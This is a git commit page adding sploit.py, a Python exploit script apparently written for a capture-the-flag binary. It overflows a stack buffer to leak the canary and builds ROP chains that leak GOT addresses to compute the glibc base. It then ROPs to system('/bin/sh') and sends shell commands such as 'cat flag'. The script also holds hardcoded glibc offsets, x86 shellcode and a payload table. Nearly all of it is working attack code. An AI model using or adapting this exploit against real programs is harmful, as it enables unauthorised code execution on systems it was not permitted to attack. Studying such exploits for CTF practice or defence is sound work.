diff options
author | dusoleil <howcansocksbereal@gmail.com> | 2021-08-02 00:36:28 -0400 |
---|---|---|
committer | dusoleil <howcansocksbereal@gmail.com> | 2021-08-03 19:45:57 -0400 |
commit | b33db8c57b0875904610ae5dec64a653332ac835 (patch) | |
tree | 433206bcd4d10173110a04641c08576380c2a12f /sploit.py | |
download | sploit-b33db8c57b0875904610ae5dec64a653332ac835.tar.gz sploit-b33db8c57b0875904610ae5dec64a653332ac835.zip |
Adding Initial Commit of the Sploit Tool
Signed-off-by: dusoleil <howcansocksbereal@gmail.com>
Diffstat (limited to 'sploit.py')
-rwxr-xr-x | sploit.py | 205 |
1 files changed, 205 insertions, 0 deletions
diff --git a/sploit.py b/sploit.py new file mode 100755 index 0000000..b277cb0 --- /dev/null +++ b/sploit.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python3 + +#if sploit is called with command line arguments, +#it will use them to call the target program with popen +#otherwise, sploit will use stdin/stdout +#you can use sploitpipe to run sploit with pipes spltin/spltout +#which can be used with the target program +#<spltin ./target &>spltout +#or from within gdb +#r <spltin &>spltout +#if given a program name on the command line, we'll use popen +#otherwise, we use stdin/stdout +#in the latter case, you can use sploitpipe to set up spltin and spltout + +import time + +import sploitutil as util +import sploitrunner + +#specify which glibc offsets to use +testing = True + +#puts,system,and binsh string offsets into glibc +#https://libc.blukat.me/ +#https://libc.rip/ +#search two functions and the least significant 12 bits of their address +#then use the resulting glibc to get offsets for the exploit +#for whatever reason, some of these are off by a small amount +#printing the contents out(even bytes of instructions) +#and comparing to what I expect in gdb has been enough to figure it out +#also, if we have the actual library +#objdump -T libc.so | grep '_puts' +#xxd libc.so | grep '/bin' + +#my kali glibc (puts:0x5f0,setvbuf:0xcd0) +#https://libc.blukat.me/?q=_IO_puts%3A5f0%2C_IO_setvbuf%3Acd0 +#libc6_2.31-9_amd64 +#str_bin_sh was off for this one. I had to subtract 0x04 to get it right +libc_offset = util.itob(0x0765f0) +libc_system = util.itob(0x048e50) +libc_execve = util.itob(0x0cb6c0) +libc_exit = util.itob(0x0cb670) +libc_binsh = util.itob(0x18a152) +libc_poprdx_poprbx = util.itob(0x1376e2) +#target glibc (puts:0x5a0,setvbuf:0xe60) +#https://libc.blukat.me/?q=_IO_puts%3A5a0%2C_IO_setvbuf%3Ae60 +#libc6_2.31-0ubuntu9.2_amd64 (3 listed, but all I care about was the same) +if not testing: + libc_offset = util.itob(0x0875a0) + libc_system = util.itob(0x055410) + libc_execve = util.itob(0x0e62f0) + libc_exit = util.itob(0x0e6290) + libc_binsh = util.itob(0x1b75aa) + libc_poprdx_poprbx = util.itob(0x162866) + +frame_len = 0x108 + +string = b'Hello, World!\n' + +shellcode = b'\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0e\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff'+string + +payloads = { + 'null' : util.itob(0x00), + #stack smash + 'fill' : b'A'*(frame_len), + 'string' : string+b'A'*(frame_len-len(string)), + 'shellcode' : b'\x90'*(frame_len-len(shellcode))+shellcode, + 'canary' : util.itob(0xdeadbeef), + #stack addresses + 'buffaddr' : util.itob(0x7fffffff0000), + #static addresses + 'startaddr' : util.itob(0x4005d0), + 'targetaddr' : util.itob(0x400725), + 'pltaddr' : util.itob(0x4005c0), + 'gotaddr' : util.itob(0x600fe8), + 'gotaddr2' : util.itob(0x601030), + #rop gadgets + 'ret' : util.itob(0x400801), + 'poprdi' : util.itob(0x400873), + 'poprsi_popr15' : util.itob(0x400871) +} + + +def sploit(stdin, stdout): + c = util.Communication(stdin,stdout) + + def preamble(): + #preamble + c.recv() + #smash the stack up to canary + #+ a newline to overwrite the null and delimit the next two readlines + c.send( payloads['fill'] + +b'\n') + #most of the echo + c.recv() + #get the canary from the echo + out = c.recv() + canary = b'\x00'+out[:7] + return canary + + #rop to find the address of setvbuf in memory + #for the purpose of looking up the glibc offsets in a database + canary = preamble() + ropchain = payloads['poprdi'] #pop rdi,ret + ropchain += payloads['gotaddr2'] #rdi; pointer to setvbuf.got + ropchain += payloads['pltaddr'] #ret puts + #rop to find the address of puts in memory + #for the purpose of looking up the glibc offsets in a database + #and then we will use this to calculate our glibc base at runtime + ropchain += payloads['poprdi'] #pop rdi,ret + ropchain += payloads['gotaddr'] #rdi; pointer to puts.got + ropchain += payloads['pltaddr'] #ret puts + ropchain += payloads['startaddr'] #ret _start to fix stack + #smash stack again, but with canary and rop + #this will print out the address of puts in memory + c.send( payloads['fill'] + +canary + +payloads['buffaddr'] + +ropchain) + + #get the glibc puts address + c.recv() + out = c.recv() + libc_addr = out[:8] + #if puts() terminated on a \x00 (like the most sig bits of an address) + #our [:8] might get less than 8 bytes of address + a newline + #so strip that newline + if libc_addr[-1:] == b'\n': + libc_addr = libc_addr[:-1] + #calculate glibc base address + libc = util.Libc(libc_addr,libc_offset) + libc_base = libc.base() + #use that to calculate other glibc addresses + system_addr = libc.addr(libc_system) + execve_addr = libc.addr(libc_execve) + exit_addr = libc.addr(libc_exit) + binsh_addr = libc.addr(libc_binsh) + poprdx_poprbx_addr = libc.addr(libc_poprdx_poprbx) + + canary = preamble() + #print first few bytes of glibc + #this is to validate our offset + #a proper ELF file starts with '\x7fELF' + ropchain = payloads['poprdi'] #pop rdi,ret + ropchain += libc_base #rdi; pointer to glibc + ropchain += payloads['pltaddr'] #ret puts + #rop to puts("/bin/sh") + #this is to validate our offset + ropchain += payloads['poprdi'] #pop rdi,ret + ropchain += binsh_addr #rdi; pointer to "/bin/sh" + ropchain += payloads['pltaddr'] #ret puts + ropchain += payloads['startaddr'] #ret _start + c.send( payloads['fill'] + +canary + +payloads['buffaddr'] + +ropchain) + c.recv() + c.recv() + + #rop to execve("/bin/sh",0,0) + #canary = preamble() + #ropchain = payloads['poprdi'] #pop rdi,ret + #ropchain += binsh_addr #rdi; pointer to "/bin/sh" + #ropchain += payloads['poprsi_popr15'] #pop rsi,pop r15,ret + #ropchain += payloads['null'] #rsi + #ropchain += payloads['null'] #r15 + #ropchain += poprdx_poprbx_addr #pop rdx,pop rbx,ret + #ropchain += payloads['null'] #rdx + #ropchain += payloads['null'] #rbx + #ropchain += execve_addr #ret execve + #ropchain += payloads['poprdi'] #pop rdi,ret + #ropchain += payloads['null'] #rdi 0 + #ropchain += exit_addr #ret exit to exit cleanly + + #rop to system("/bin/sh") + canary = preamble() + ropchain = payloads['poprdi'] #pop rdi,ret + ropchain += binsh_addr #rdi; pointer to "/bin/sh" + ropchain += payloads['ret'] #extra ret for 16byte stack alignment + ropchain += system_addr #ret system + ropchain += payloads['poprdi'] #pop rdi,ret + ropchain += payloads['null'] #rdi 0 + ropchain += exit_addr #ret exit to exit cleanly + c.send( payloads['fill'] + +canary + +payloads['buffaddr'] + +ropchain) + + #we need to synchronize when read() finishes before sending more data + #we could insert another puts() into the rop and call c.recv() + #or we can just sleep for a second + time.sleep(1) + + #try some shell commands + c.send(b'whoami\n') + c.send(b'pwd\n') + c.send(b'ls\n') + c.send(b'cat flag\n') + c.send(b'cat flag.txt\n') + c.send(b'exit\n') + + return + +#run our sploit +sploitrunner.runsploit(sploit) |